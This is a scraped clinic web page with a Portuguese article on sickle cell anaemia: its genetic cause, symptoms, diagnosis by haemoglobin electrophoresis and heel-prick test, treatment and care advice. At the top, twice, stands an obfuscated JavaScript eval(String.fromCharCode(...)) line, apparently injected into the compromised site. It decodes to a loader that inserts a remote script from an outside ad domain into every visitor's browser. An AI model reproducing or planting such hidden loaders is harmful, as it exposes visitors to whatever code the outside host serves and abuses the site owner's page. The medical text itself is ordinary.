var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125)); ANEMIA FALCIFORME em Vinhedo | Espaço Rafah
var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125));

Central de agendamento: (19) 3886.2444 | 3876.3435 | 3836.3839 | 3836.3894 | Facebook

ANEMIA FALCIFORME

 

A anemia falciforme é uma doença genética e hereditária, predominante em negros, mas que pode manifestar-se também nos brancos. Ela se caracteriza por uma alteração nos glóbulos vermelhos, que perdem a forma arredondada e elástica, adquirem o aspecto de uma foice (daí o nome falciforme) e endurecem, o que dificulta a passagem do sangue pelos vasos de pequeno calibre e a oxigenação dos tecidos.

As hemácias falciformes contêm um tipo de hemoglobina, a hemoglobina S, que se cristaliza na falta de oxigênio, formando trombos que bloqueiam o fluxo de sangue, porque não têm a maleabilidade da hemácia normal.

Causas

A anemia falciforme é causada por mutação genética, responsável pela deformidade dos glóbulos vermelhos. Para ser portador da doença, é preciso que o gene alterado seja transmitido pelo pai e pela mãe. Se for transmitido apenas por um dos pais, o filho terá o traço falciforme, que poderá passar para seus descendentes, mas não a doença manifesta.

Sintomas

São sintomas da anemia falciforme:

* Dor forte provocada pelo bloqueio do fluxo sangüíneo e pela falta de oxigenação nos tecidos;

* Dores articulares;

* Fadiga intensa;

* Palidez e icterícia;

* Atraso no crescimento;

* Feridas nas pernas;

* Tendência a infecções;

* Cálculos biliares;

* Problemas neurológicos, cardiovasculares, pulmonares e renais;

* Priapismo.

Diagnóstico

A eletroforese de hemoglobina é o exame laboratorial específico para o diagnóstico da anemia falciforme, mas a presença da hemoglobina S pode ser detectada pelo teste do pezinho quando a criança nasce.

Tratamento

Não há tratamento específico para a anemia falciforme, uma doença para a qual ainda não se conhece a cura. Os portadores precisam de acompanhamento médico constante (quanto mais cedo começar, melhor o prognóstico) para manter a oxigenação adequada nos tecidos e a hidratação, prevenir infecções e controlar as crises de dor.

Recomendações

* Exija que o teste do pezinho seja feito em seu filho/a logo depois do nascimento. Se for constatado que é portador de anemia falciforme, encaminhe-o logo para um médico especialista;

* Procure imediatamente assistência se a pessoa com anemia falciforme tiver uma crise de dor. Embora às vezes ela possa ser tratada em casa com analgésicos, repouso e ingestão de muito líquido, só o médico poderá avaliar a necessidade de internação hospitalar;

* Entenda a febre do portador de anemia falciforme como um sinal de alerta e não faça uso de medicamentos sem orientação médica que acompanha o caso;

* Leve imediatamente para o hospital mais próximo, a criança com anemia falciforme que ficou pálida de repente;

* Lembre-se de que alterações oculares podem ocorrer nesses pacientes. Por isso, eles devem ser avaliados periodicamente por um oftalmologista.

Fonte: http://drauziovarella.com.br